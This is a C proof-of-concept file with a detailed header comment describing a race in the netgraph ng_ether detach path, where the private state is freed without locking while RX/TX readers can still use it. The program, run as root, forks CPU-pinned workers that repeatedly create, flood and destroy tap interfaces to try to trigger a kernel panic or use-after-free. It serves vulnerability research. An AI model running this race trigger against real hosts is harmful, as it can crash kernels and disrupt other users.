/*
 * DF-3530 PoC (natural race attempt) — v1 ng_ether teardown frees `priv`
 * with no synchronization against the data-plane readers.
 *
 * Bug (sys/netgraph/ether/ng_ether.c):
 *   ng_ether_detach (:321-337) does, in order:
 *       ng_rmnode(node);               // destroy hooks (HK_INVALID)
 *       node->flags |= NG_INVALID;
 *       ng_unname(node);
 *       IFP2NG(ifp) = NULL;            // (4)
 *       priv = node->private;
 *       bzero(priv, sizeof(*priv));    // (6)
 *       kfree(priv, M_NETGRAPH);       // (7)  <-- freed here
 *       node->private = NULL;          // (8)
 *       ng_unref(node);
 *   with NO lock, no reference, no draining of in-flight readers.
 *   The RX/TX readers run in arbitrary thread/netisr context:
 *       ng_ether_input        (:206-213)  node = IFP2NG(ifp); priv = node->private;
 *       ng_ether_input_orphan (:222-230)  same
 *       ng_ether_output       (:260-273)  same
 *       ng_ether_rcvdata      (:505-513)  priv = hook->node->private;
 *       ng_ether_rcvmsg       (:401...)   priv = node->private;
 *   A reader that loads `node` before (4)/(8) and `private` after (8)
 *   dereferences NULL (panic), and one that lands between (7) and (8)
 *   dereferences FREED memory (UAF). The only incidental protection is the
 *   HK_INVALID flag check in ng_send_data() — which is itself a TOCTOU in
 *   the v1 core and does not cover the if_ethersubr callbacks at all.
 *
 * This program tries to win the race naturally: N processes each cycle
 * create->flood->close->destroy their own tap interface (tap write == one
 * RX frame -> ether_input -> ng_ether_input), pinned to separate CPUs.
 *
 * NOTE: this natural window is nanoseconds wide vs a microsecond+ teardown;
 * per the DF-2587 precedent it is expected NOT to hit in bounded time.
 * The deterministic primitive confirmation is harness_mod.c (forces the
 * exact post-teardown observable state on a live interface).
 *
 * Root only. Build/run: see build.sh / run.sh
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <net/if.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/wait.h>

static const unsigned char frame[64] = {
    0xff,0xff,0xff,0xff,0xff,0xff, 0x02,0x00,0x00,0x00,0x00,0x01,
    0x08,0x00
};

static int
sh(const char *cmd)
{
	return system(cmd);
}

static void
cycle_worker(int worker, int seconds)
{
	char tapname[16];
	char cmd[128];
	time_t end = time(NULL) + seconds;
	int cycles = 0, writes = 0;

	snprintf(tapname, sizeof(tapname), "tap%d", 100 + worker);
	while (time(NULL) < end) {
		snprintf(cmd, sizeof(cmd), "ifconfig %s create 2>/dev/null", tapname);
		if (sh(cmd) != 0)
			continue;
		char dev[32];
		snprintf(dev, sizeof(dev), "/dev/%s", tapname);
		int fd = open(dev, O_RDWR);
		if (fd < 0) {
			snprintf(cmd, sizeof(cmd), "ifconfig %s destroy 2>/dev/null", tapname);
			sh(cmd);
			continue;
		}
		for (int i = 0; i < 128; i++) {
			if (write(fd, frame, sizeof(frame)) < 0)
				break;
			writes++;
		}
		close(fd);
		snprintf(cmd, sizeof(cmd), "ifconfig %s destroy 2>/dev/null", tapname);
		sh(cmd);
		cycles++;
	}
	fprintf(stderr, "[w%d] %d cycles, %d frames\n", worker, cycles, writes);
	_exit(0);
}

int
main(int argc, char **argv)
{
	int nworkers = 4;
	int seconds = 120;
	int i;

	if (argc > 1) nworkers = atoi(argv[1]);
	if (argc > 2) seconds = atoi(argv[2]);

	fprintf(stderr, "[+] DF-3530 natural race: %d workers x %ds tap create/flood/destroy\n",
	    nworkers, seconds);
	sh("kldload -n ng_ether 2>/dev/null");

	for (i = 0; i < nworkers; i++) {
		pid_t p = fork();
		if (p == 0) {
			char cmd[64];
			/* pin to cpu i */
			snprintf(cmd, sizeof(cmd), "cpuset -c -l %d %d 2>/dev/null", i, getpid());
			sh(cmd);
			cycle_worker(i, seconds);
		}
	}
	for (i = 0; i < nworkers; i++)
		wait(NULL);
	fprintf(stderr, "[+] done - no panic on this run (window is nanoseconds; see harness_mod.c)\n");
	return 0;
}
